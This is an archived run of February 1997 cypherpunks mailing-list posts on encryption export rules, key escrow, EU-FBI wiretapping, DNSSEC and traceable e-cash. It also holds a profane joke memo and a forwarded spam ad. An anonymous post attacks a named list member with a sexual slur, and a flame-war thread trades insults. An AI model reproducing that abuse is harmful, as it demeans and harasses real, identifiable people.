                           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> because we all understand law enforcement, policemen, courts, this
> is something we see everyday in our life. And it's an important
> element, I'm not suggesting it's not relevant but it is a protective
> shield for what goes on behind that. ..."

ie law enforcement interests (horsemen of apocalypse, terrorists,
pedophiles, pornographers, etc) are just a smoke screen, what it's
really about is maintaining foreign signals intelligence for cold war
type spy purposes.

Are you sure he works for GCHQ?  I'm shocked ... such honesty.  You'd
never catch Clinton or Freeh admitting the above was the agenda

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@jefferson.hidden.net (Anonymous)
Date: Thu, 27 Feb 1997 19:21:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: ZKP
Message-ID: <199702280316.TAA07227@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[ocksucker] Mayo must have been sharing needles with a rabid 
hedgehog.

      o-:^>___? Tim C[ocksucker] Mayo
      `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Feb 1997 17:38:25 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: 128_bit
In-Reply-To: <199702272325.XAA01529@server.test.net>
Message-ID: <33164EDB.6424@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote: 
> John Young offered RSADS/Security Dynamics press release:
> > "Security Dynamics Unveils RSA SecurPC 2.0"
> >  The package is claimed to the first 128-bit encryption software to
> >  be exported from the US and its territories, and allows companies
> >  to implement "seamless, full-strength encryption" worldwide.
> 
> Seems the sales blurb press release from RSADS/Security Dynamics is
> misleading, checking out the web page referenced:
> (http://www.rsa.com/rsa/prodspec/rsasec/sec_eval/)
> 
>    This Trial version of RSA SecurPC uses 40-bit
>   RC4 keys and 512-bit RSA keys. For more
>   information about the product, see the
>   product description page.
> 
> What happened to "the first 128-bit encryption software to be exported
> from the US and its territories"?  In reality: more 40 bit cripple-ware.

  I sent these guys an email a week or so ago suggesting that if 
their algorithm was as good as their advertising, then it must indeed
be a magnificent product, since their advertising is able to magically
turn 40-bit encryption into 128-bit encryption.
  They sent me back an email thanking me for supporting their product.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Feb 1997 17:38:34 -0800 (PST)
To: cypherpunks@cyberpass.net
Subject: Re: Strange Looks
In-Reply-To: <9702280023.AA15385@banshee.BASISinc.com>
Message-ID: <331651C7.568@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Mike Denney wrote:

 Subject:     new regulations
 Sent:        2/25/97 11:31 PM
 Received:    2/25/97 3:49 PM
 From:        Ken Wallace, kwallace@pragma.com
 To:          larry@dentistat.com

 TO ALL EMPLOYEES

It has been brought to the management's attention that some individuals
have been using foul language in the course of normal conversation
between employees.  Due to complaints from some more easily offended
workers, this conduct will no longer be tolerated.

The management does, however, realize the importance of each person
being able to properly express their feelings when communicating with
their fellow employees.  Therefore the management has compiled the
following code phrases, so that the proper exchange of ideas and
information can continue.

Old Phrase                            New Phrase
----------                            ----------

No fucking way                         I'm not certain that's feasible.

You've got to be shitting me           Really?

Tell someone who gives a fuck          Perhaps you should check with ...

Ask me if I give a fuck                Of course I'm concerned.

It's not my fucking problem            I wasn't involved in that
project.

What the fuck?                         Interesting behavior.

Fuck it, it won't work                 I'm not sure I can implement
this.

Why the fuck didn't you tell me        I'll try to schedule that.
  that sooner?

When the fuck do you expect me to      Perhaps I can work late.
  do this?

Who the fuck cares?                   Are you sure it's a problem?

He's got his head up his ass          He's not familiar with that
problem.

Eat shit                              You don't say.

Eat shit and die                      Excuse me?

Eat shit and die motherfucker         Excuse me, sir?

What the fuck do they want from me    They weren't happy with it?

Kiss my ass                           So you'd like help with it?

Fuck it.  I'm on salary               I'm a bit overloaded at the
moment.

Shove it up your ass                  I don't think you understand.

This job sucks                        I love a challenge.

Who the hell died and made you boss   You want me to take care of this?

Blow me                               I see.

Blow yourself                         Do you see?

Another fucking meeting               Yes, we should discuss this.

I really don't give a shit            I don't think it will be a
problem.

Fuck you                              How nice.  How very nice!

-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 16:51:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: More EI Public Comments
Message-ID: <1.5.4.32.19970228004454.0070dd50@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


BXA has listed two more public comments on encryption 
transfers at its Web site:

44. Electronic Messaging Association 
45. American Electronics Association

BXA's PDF versions at:

  http://www.bxa.doc.gov/44-.pdf  (420K)
  http://www.bxa.doc.gov/45-.pdf  (339K)

Our HTML conversions at:

  http://jya.com/bxapc44.htm  (17K)
  http://jya.com/bxapc45.htm  (16K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 17:17:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: EU and FBI Wiretap Scheme
Message-ID: <1.5.4.32.19970228011102.00743c6c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


This sounds like what Spook Herson admitted in his interview:

February 25, 1997

Report: Europe OKs Wiretap Rules

London (AP) -- Europe has agreed to establish international standards 
with the U.S. Federal Bureau of Investigations to enable authorities to 
tap telephones and messages sent by fax, telex and e-mail, a London 
newspaper reported Tuesday. 

The Guardian newspaper said it obtained a preliminary agreement 
signed by European Union nations in 1995 that calls for 
telecommunications companies to provide security agencies with 
the key to codes installed in equipment sold to customers. 

The newspaper report could not be confirmed independently. 

The aim of the alliance between U.S. and EU agencies was to set a 
common standard for "international interception,'' the newspaper 
reported. 

Full details on the agreement are being drawn up by officials working 
in European Union committees, it said. 

The report said European officials drafted a memorandum of 
understanding after Britain warned that mobile telephone systems 
in the hands of organized criminals posed an international threat. 

----------

Thanks to D.

If anyone has the Guardian article, a copy would be appreciated.

Fax to: (US) 212-799-4003

Or scan it and send e-mail to <jya@pipeline.com>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 27 Feb 1997 20:33:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: DNSSEC Encryption for DNS registration and ITAR Nonsense
In-Reply-To: <199702120859.AAA27060@songbird.com>
Message-ID: <3.0.1.32.19970227203009.00629a08@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" <dee@cybercash.com> wrote:
>People may want to note that yesterday (Feb 11th) the IESG approved the DNS
>dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt
>and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards.  The base DNS
>security protocol was approved some time ago and is now out as RFC 2065.  

Details are on http://www.tis.com/docs/research/network/dns.html
It's a very interesting page - pointers to the RFC
http://ds.internic.net/rfc/rfc2065.txt ,
and downloadable beta code from TIS implementing it.  Cool stuff.

But then there's the politial correctness part of the web page :-)
> Trusted Information Systems, Inc. has received approval from the 
> United States Government for export and reexport of TIS/DNSSEC software
> from the United States of America under the provisions of the Export 
> Administration Regulations (EAR) General Software Note (GSN) license 
> exception for mass market software.  Under the provisions of this license, 
> this software may be exported or reexported to all destinations except 
> for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, 
> Sudan and Syria.  Any export or reexport of TIS/DNSSEC software to the
embargoed
> countries requires additional, specific licensing approval from the 
> United States Government.

Yup.  Can't let those Cubans secure their DNS.....  At least the government
did decide to permit export.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Feb 1997 19:02:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on EU and FBI Wiretapping
Message-ID: <1.5.4.32.19970228025536.00755420@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to CA: EPIC reports today on the EU-FBI
wiretap pact. It gives this URL for the source document
which lays out the interception deception:

   http://www.privacy.org/pi/activities/tapping/

See EPIC's full report at:

   http://www.epic.org/

[1] New Report Details FBI/European Tapping Agreements 
[2] Airline Security Report Released
[3] Briefs Filed in Reno v. ACLU Internet "Indecency" Challenge 
[4] Crypto Legislation Introduced
[5] Clipper Upgrade at DOD/Litigation Update
[6] State Department Reports Widespread Illegal Wiretapping Worldwide
[7] New Medical Privacy Survey 
[8] Upcoming Conferences and Events






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 27 Feb 1997 20:36:22 -0800 (PST)
To: Anonymous <nobody@jefferson.hidden.net>
Subject: Re: ZKP
In-Reply-To: <199702280316.TAA07227@jefferson.hidden.net>
Message-ID: <Pine.BSF.3.91.970227222024.24225H-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 27 Feb 1997, Anonymous wrote:

> Tim [censored] Mayo must have been sharing needles with a rabid 
> hedgehog.
> 

Stop picking on the oppressed rabid mammals, or things will get ugly for you.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 27 Feb 1997 13:27:55 -0800 (PST)
To: aba@dcs.ex.ac.uk
Subject: Re: GCHQ On Escrow Sham
In-Reply-To: <199702271735.RAA00621@server.test.net>
Message-ID: <9702272126.AA40614@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


At least now, Herson works for the European Commisson.

In case anyone is interested, his phone number and e-mail address can
be found at <URL:http://wise.igd.fhg.de/www/projects/wise/english/rd/
3fw/RACE2/annual94/parta1-5.html>.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jean-Francois Avon" <jf_avon@citenet.net>
Date: Thu, 27 Feb 1997 19:45:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Look what SPAM I got today [Customers for You !!!]
Message-ID: <9702280345.AA21386@cti02.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi Cypherpunks.  Long time no lurk.  Too busy defending the right to own 
unregistered guns and getting involved in local politics to dwell on the 
shortfalls of OS/2 PGP shells for PM GUI.  PGP apps for OS/2 sucks!

Anyhow, if you have any comments on the forwarded message, please Cc me.
Is there a limit to spamming?  Is there a way to attach nitroglycerine to an 
e-mail reply? ( I know Jim Bell has a few suggestions about that... :-)

Ciao all

JFA


------- Forwarded Message Follows -------
Date:          Thu, 27 Feb 1997 12:06:09 -0500 (EST)
From:          Quantum Communications <sales@quantumcom.net>
To:            "jctracey@sprynet.com" <jctracey@sprynet.com>
Subject:       Customers for You !!!

Would you like more customers?

Visit http://www.quantcom.com

Everyone knows that the hottest way to find new customers and market your business is via 
direct Email. 

Quantum Communications offers direct Email advertising services, and related marketing 
services, with the following highlights:

 ------> Guaranteed Response Rate! Up to 3% Guaranteed Response.

------> 100% Approved Financing! No Credit Checks!

------> Never Again Get Shut Off By Your ISP! We Offer Flame-Filtering & Free 
Auto-Responders!

------> Targeted Mailings, Using Custom-Built Lists With Your Parameters.

------> 5 Million Recipient Co-op "The Mega-Mailer" is available.

------> Stand-Alone Mailings Available.

------> Wholesale Unlimited Access To Our "Self-Service" SMTP Mail Servers Available.

------> Ad Copy Design & Revision Available.

------> "Floodgate" Bulk E-Mail Software Available.

 Quantum Communications also offers Virtual Servers complete with full POP3 Email accounts 
and domain registration, lists of Email addresses for sale, search engine submissions, 
newsgroup posting announcements, and web page design. 

 Call our Sales Department at (603) 772-4096 for details,
or Visit our website at http://www.quantcom.com You may also send an email to our 
autoresponder: info@quantcom.com or direct specific questions to sales@quantcom.com

Thank you for your time.

------- end of forwarded message ------

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 JFA Technologies, R&D consultants.
    physicists, engineers and technologists.
PGP keys at: http://w3.citenet.net/users/jf_avon
        and: http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 27 Feb 1997 22:49:41 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: DNSSEC Encryption for DNS registration and ITAR Nonsense
Message-ID: <199702280648.WAA23851@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:30 PM 2/27/97 -0800, Bill Stewart wrote:
>At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" <dee@cybercash.com> wrote:

>But then there's the politial correctness part of the web page :-)
>> Trusted Information Systems, Inc. has received approval from the 
>> United States Government for export and reexport of TIS/DNSSEC software
>> from the United States of America under the provisions of the Export 
>> Administration Regulations (EAR) General Software Note (GSN) license 
>> exception for mass market software.  Under the provisions of this license, 
>> this software may be exported or reexported to all destinations except 
>> for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, 
>> Sudan and Syria.  Any export or reexport of TIS/DNSSEC software to the
>embargoed
>> countries requires additional, specific licensing approval from the 
>> United States Government.
>
>Yup.  Can't let those Cubans secure their DNS.....  At least the government
>did decide to permit export.

When Clipper was a new proposal, a reporter stated that Clipper-equipped 
telephones were going to be exportable...to anywhere except 
terrorist-supporting countries like Libya and Iraq.  My first reaction was, 
if those chips had their keys escrowed within reach of the US government, 
WHAT DID IT MATTER that the phones get exported to Libya?!?  In fact, they'd 
presumably want to airdrop them there, right?


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 27 Feb 1997 21:11:34 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation/censorship
In-Reply-To: <33153E98.3DCD@gte.net>
Message-ID: <199702280508.XAA20415@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dale Thorn wrote:
> > > > > E. Allen Smith wrote:
> > > > > > filtered out) of blocking postings from Senate and House addresses,
> > > > > > (If DLVulis was a participant in the discussion (I wouldn't notice,
> > > > > > given that I generally delete his messages before reading), he
> > > > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit
> > > > > whiny asshole Smith beating up on Toto and Vulis for the nth time.
> > > > remember dale, you and dr. vulis are also beating on john gilmore & co.
> 
> > > True, but, Smith viciously attacked me before I said anything about
> > > him, and he did so not because I was some kind of authority inter-
> > > fering with his life (like a lying, cheating, censoring list mgr.),
> > > but simply because he didn't like my posts.
> 
> > :) and you are attacking him because you did not like his posts.
> 
> Not the same thing at all.  Any posts he may have made about any
> list topic (whether "on-topic" or not) I did not jump on him for.

Oh well, and he did not jump on Dr. Vulis for any posts concerning
the list topic.

> I have made specific comments disagreeing with people about factual
> or theoretical particulars, or I've made disparaging comments about
> list "leaders" using their "reputation capital" to shove other people
> out of their way like bullies, but I haven't taken to calling
> ordinary list subscribers names because I think they're paranoid
> (which I'm really not, though I'm a "professional" conspiratologist),
> or because I otherwise disagree with them.

Well, paranoid people may be more right than "normal" people, so I
do not see the word paranoid as an insult.

> I looked at one archive the other day, and it contained 850+ messages
> by me posted to cypherpunks between approximately 1 Sep 96 and late
> Jan 97.  I think you'll find them very consistent, and although I
> could be accused of harboring my own arrogance in some areas, I can
> handle any criticism you put forth, since you (for example) don't
> slander me gratuitously or viciously.

Mmm, maybe, but I remember saying negative things about some of your
ideas, which I still think were not wrong.

> Several months ago, I made a post where I said that approx. 95% of
> people stay within the confines of their parents' religion for life,
> meaning that while they may change denominations, or split different
> hairs on various dogmas, they still remain Catholic if their parents
> were Catholic, etc.  One of the list "leaders" chose to say I didn't
> know what I was talking about, even though I very well did know what
> I was talking about (and I told him so), so he replied that he didn't
> want me putting his email address in any of my posts (i.e., don't
> hit the reply-to-all button unless I manually delete his name), and
> has steadfastly ignored me ever since.  I don't mind being ignored,
> in fact, it gives me time to do better things than argue with persons
> who don't really listen, but what pisses me off is this bully-like
> arrogance on the part of some of the clique who would really like to
> get rid of people like me, but can't recommend it since it would
> damage their already fragile reputation.

This is OK, Dale, if some readers follow the bullies with reputations
instead of doing their own thinking, they are not worthy of your worries.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 27 Feb 1997 15:27:38 -0800 (PST)
To: jya@pipeline.com
Subject: Re: 128_bit
In-Reply-To: <1.5.4.32.19970227142755.006eff20@pop.pipeline.com>
Message-ID: <199702272325.XAA01529@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



John Young offered RSADS/Security Dynamics press release:

> 2-26-97.
> 
> "Security Dynamics Unveils RSA SecurPC 2.0"
> 
>  The package is claimed to the first 128-bit encryption software to 
>  be exported from the US and its territories, and allows companies 
>  to implement "seamless, full-strength encryption" worldwide.

Seems the sales blurb press release from RSADS/Security Dynamics is
misleading, checking out the web page referenced:

(http://www.rsa.com/rsa/prodspec/rsasec/sec_eval/)

  Crypto strength reduced, but
  functionality intact 

  In order to make this ground-breaking
  product available internationally, we have
  applied for and received a Commodity
  Jurisdiction from the US Department of
  Commerce. This means that the strength of
  the cryptography has been reduced from the
  commercial product available in the US and
  Canada in order to comply with
  cryptographic export regulations, but the rest
  of the functionality has been left intact. This
  Trial version of RSA SecurPC uses 40-bit
  RC4 keys and 512-bit RSA keys. For more
  information about the product, see the
  product description page. 

What happened to "the first 128-bit encryption software to be exported
from the US and its territories"?  In reality: more 40 bit cripple-ware.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Conrad <jjc@infi.net>
Date: Thu, 27 Feb 1997 21:23:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: STU-III Usage
Message-ID: <2.2.16.19970228002350.0e174086@mailhost.infi.net>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
>Back when the STU-III was still called the "Future Secure Voice System"
>the DoD was telling manufacturers they'd probably sell 500,000 of them,
>between the DoD unclassified work, law enforcement users, defense 
>contractors, and similar riff-raff.  I don't know how many were actually 
>sold, but I'd be surprised if it's a tenth of that; the government
>was too cheap to spend $2-3K per box for that many users.

I'm ex-Navy and worked as a contractor for the last 5 years since I got out.
>From my operational experience and exposure to certain area's I would have
to say that 500,000 might be more accurate than you suspect. They are used
at most Navy facilities as the "standard" desk phone when the command
requires operational security telecommunications access. Personnel Offices
etc., probably don't have but one or two per facility but sites requiring
them have them everywhere. Likewise most contractor facilities that require
secure telecommunications have them available as well.

..Jim

<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc@infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JGarrett <homebc@homebc.com>
Date: Thu, 27 Feb 1997 23:29:23 -0800 (PST)
To: homebc@homebc.com
Subject: New Breakthrough!
Message-ID: <1.5.4.32.19970228073003.007553a4@homebc.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: KALLISTE@delphi.com
Date: Thu, 27 Feb 1997 22:27:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Clipper Chip Banking
Message-ID: <01IFXJQE7DR69AU48I@delphi.com>
MIME-Version: 1.0
Content-Type: text/plain


         Clipper Chip Banking

          by J. Orlin Grabbe

      Sandia National Laboratories have
created the digital cash equivalent  of
the   Clipper   chip:   an  "anonymous"
digital  cash  system that  would  give
participants privacy from all  viewers,
except for the government agencies that
would  control the secret keys required
for backdoor access.

      Just  as  the "Clipper"  proposal
(the Escrowed Encryption Standard) is a
system of encrypted communication  with
a Big Brother peephole, so is Sandia e-
cash  a  system of digital cash with  a
Big  Brother peephole.  It was designed
that way.

       Why  is  Sandia  interested   in
digital cash systems?  Well, Sandia  is
responsible    for   all    non-nuclear
components  of  nuclear  weapons.   The
security  of  nuclear  weapons  depends
partly   on   cryptology.   The   code-
breaking   National   Security   Agency
(NSA), for example, is responsible  for
the   communication  security  of   the
Minuteman missile, as well as the codes
by  which  the President must  identify
himself to authorize a nuclear strike.

      The  use  of nuclear  weapons  is
normally  based  on a  trustee  system:
two  or  more  people are necessary  to
give  the complete authorization  code.
The NSA used this idea as the basis for
the   Clipper  chip:   two   designated
trustee   agents   would   each    have
knowledge of one-half the chip-specific
unique  key  by  which  to  decode  the
session  key that encoded a  particular
communication passing through the chip.
The   Clipper   chip   was   originally
proposed  for incorporation into  every
digital communication device: computer,
fax,  and cable TV.

      The sales aspect of Clipper was a
new  encryption algorithm based on  80-
bit  encryption  keys.   Financial  and
other  institutions had begun to  worry
about   the   security  of   the   Data
Encryption Standard (DES) which uses 56-
bit keys.  An 80-bit key space would be
2^24  times  as large as  the  DES  key
space.   The  catch was that acceptance
of  the  new  algorithm  would  involve
acceptance of the NSA backdoor.  At the
present  time,  the financial  industry
has  said,  "No,  thank  you,"  and  is
focusing on triple-DES, which  has  the
security    equivalent    of    112-bit
encryption keys, and no backdoor.

       Sandia   e-cash  is   a   simple
extension of the trustee notion. Sandia
e-cash  was  announced  as  "the  first
electronic     cash     system     that
incorporates   trustee-based   tracing,
while    provably    protecting    user
anonymity".  The trustees in this  case
are  key-escrow agents, and  a  minimal
subset of them (say three out of  five)
would   be   able   to  combine   their
knowledge   to  trace  an  individual's
electronic transactions.  The fact that
several  agents would need  to  act  in
concert   "protects  users   from   the
possibility  that one or  two  trustees
might  be  corrupt".  (In other  words,
depending  on  the  level  of  official
corruption, the system would either  be
somewhat secure, or totally insecure.)

      Anonymity or privacy in financial
transactions   generally    means    an
inability  to determine an individual's
spending  patterns. Anonymity  requires
first and foremost protection from  the
prying eyes of the bank.

     If the bank knows what is going on
in  your  account, then potentially  so
can  anyone  else: the records  can  be
seized, or surreptitiously accessed  by
computer,  or  a bank employee  can  be
bribed  to  make  them available.   (In
this respect, it is useful to note that
the  system of Swiss numbered  accounts
was  created to protect bank  customers
from  bank  employees. Bank  employees,
observing what occurred in a customer's
account,  could  possibly  subject  the
customer to blackmail.)

        Anonymity   involves    several
aspects, including "unlinkability"  and
"untraceability".

       "Unlinkability"  refers  to  the
inability  of  a  bank (even  colluding
with  merchants) to determine that  two
payments  were made by the  same  user.
To   understand  this,   consider   the
opposite  case:  your monthly  American
Express  or credit card bill.   Such  a
statement    contains    a    set    of
transactions which are all linked by  a
common  element--your  AMEX  or  credit
card  account  number.   Because  these
payments  are  linked, they  present  a
limited  picture  (a  subset)  of  your
behavior,    movements,    and    habit
patterns.  Your  private  behavior   is
potentially     public     information.
Unlinkability is therefore an aspect of
anonymity.    Because  linkability   in
anonymous    digital   cash    involves
cryptological   protocols,     it    is
actually  a  probability concept:   how
probable is it that two payments can be
accurately  identified as  having  been
made  by  the same user?  Unlinkability
means such probability is negligible.

      "Untraceability"  refers  to  the
inability   of   a   bank   to    match
withdrawals   of  digital   cash   with
subsequent    payments.      To    have
untraceability,   the   information   a
person  reveals about himself by making
payments    must    be    statistically
independent of the information a person
reveals   about   himself   by   making
withdrawals.   Of course if  the  bank,
even  when  colluding  with  merchants,
can't   link   or  trace   a   person's
transactions--even in probability terms-
-then  neither can FINCEN or  the  NSA.
Anonymity  and privacy thus  ultimately
hinges  on  concealing  this  type   of
information from the bank itself.

      But  such  anonymity,  naturally,
raises  the  issue of the  selectively-
enforced  money-laundering  laws.   The
prevention   of   money-laundering   is
stated as a principal raison d'ˆtre for
Sandia's e-cash system of non-anonymous
"anonymity":

     "Money  laundering . .  .  is
     hampered by physical cash and
     would  be  made easier  by  a
     completely          anonymous
     electronic counterpart. . . .
     With anonymous e-cash, money-
     laundering would be as simple
     as   depositing  one  set  of
     electronic  "coins"   in   an
     account under an assumed name
     and  withdrawing another  set
     from   the   same   account."
     (Peter  S. Gemmel, "Traceable
     e-cash," Technology  and  the
     Electronic   Economy,    IEEE
     Spectrum, February 1997.)

        To   prevent   such   nefarious
activity,  Sandia  even  envisions  one
future world in which individuals would
be  required to submit regular  reports
of  their financial transactions to the
government:

     "In a different trustee-based
     e-cash   system,  the  users'
     "wallet"    software    would
     require  them to  supply  the
     authorities from time to time
     with    transaction   records
     stored  in  their  electronic
     wallets  and  encrypted  with
     their tracing keys." (Ibid.)
     
This proposal is somewhat similar to  a
requirement  to  regularly  send  one's
bank  statements to the IRS for filing,
with a committee controlling access  to
the file cabinet.

      While  Sandia ponders the  future
needs  of Big Brother government,  over
at   the  Treasury,  meanwhile,  Robert
Rubin has appointed the Comptroller  of
the  Currency,  Eugene Ludwig,  as  the
point man to oversee government efforts
to  keep  a  peephole into  every  bank
account.  To this end, Ludwig--when  he
is   not   attending  Clinton   coffee-
klatsches--coordinates  the  electronic
cash   spying  plans  of  FINCEN,  U.S.
Customs,  the IRS, the Secret  Service,
ATF,  and the Office of Foreign  Assets
Control.

February 27, 1997
Web Page:  http://www.aci.net/kalliste/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 28 Feb 1997 00:33:27 -0800 (PST)
To: KALLISTE@delphi.com
Subject: Re: Clipper Chip Banking
In-Reply-To: <01IFXJQE7DR69AU48I@delphi.com>
Message-ID: <3316B0E6.3AE9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


KALLISTE@delphi.com wrote:
 
>       Just  as  the "Clipper"  proposal
> (the Escrowed Encryption Standard) is a
> system of encrypted communication  with
> a Big Brother peephole, so is Sandia e-
> cash  a  system of digital cash with  a
> Big  Brother peephole.  It was designed
> that way.
>        Why  is  Sandia  interested   in
> digital cash systems?  Well, Sandia  is
> responsible    for   all    non-nuclear
> components  of  nuclear  weapons.   The
> security  of  nuclear  weapons  depends
> partly   on   cryptology.   The   code-
> breaking   National   Security   Agency
> (NSA), for example, is responsible  for
> the   communication  security  of   the
> Minuteman missile, as well as the codes
> by  which  the President must  identify
> himself to authorize a nuclear strike.

  The main benefit of the proposed Sadia system is that it will
allow the President to do his banking while nuking the commies.
  Sound reasonable to me.
-- 
Toto
-----------------------------
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Thu, 27 Feb 1997 05:43:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Presidential decrees and emergency powers
Message-ID: <85705099728103@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


The letter/executive order from Bill Clinton which transfers control of
encryption and related items to the EAR contains a mention of:
 
  ... the national emergency described and declared in Executive Order 12924 of
  August 19, 1994, and continued on August 15, 1995, and August 14, 1996,
  necessitated by the expiration of the Export Administration Act (EAA) on
  August 20, 1994, I hereby report to the Congress that pursuant to section
  204(b) of the International Emergency Economic Powers Act, 50 U.S.C. 1703(b)
  (the "Act"), I have today exercised the authority granted by the Act to issue
  an Executive order (a copy of which is attached)...
 
Does anyone know what national emergency this refers to, and what the section
of the emergency economic powers act covers?  I seem to remember a post by
someone who had traced it back through endless levels of indirection to a
police action in Korea or something, but haven't been able to find any more
information.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Fri, 28 Feb 1997 00:29:02 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: 128_bit
In-Reply-To: <1.5.4.32.19970227205712.006fbe08@pop.pipeline.com>
Message-ID: <v03007802af3c3da59b9b@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain


>2-26-97. Newsbytes:
>
>Security Dynamics Unveils RSA SecurPC 2.0
>
> Wokingham, England, By Steve Gold. Security Dynamics has unveiled
> RSA SecurPC 2.0, the latest version of its software-based
> encryption software. The package is claimed to the first 128-bit
> encryption software to be exported from the US and its territories.

	No such luck.  This is a press report that seems a little
confused... which is say that it is, at least, a bit premature.

	SecurPC has a useful feature which allows for a self-decrypting
file to be created with its 128-bit (symmetric) RC4 cipher.  RSADSI got the
NSA to agree that this self-decrypting file could be transmitted outside
the US because the packaged implementation is restricted to merely
decrypting the file -- with a key (password) to be passed out of band: by
hand, letter, phone, etc.

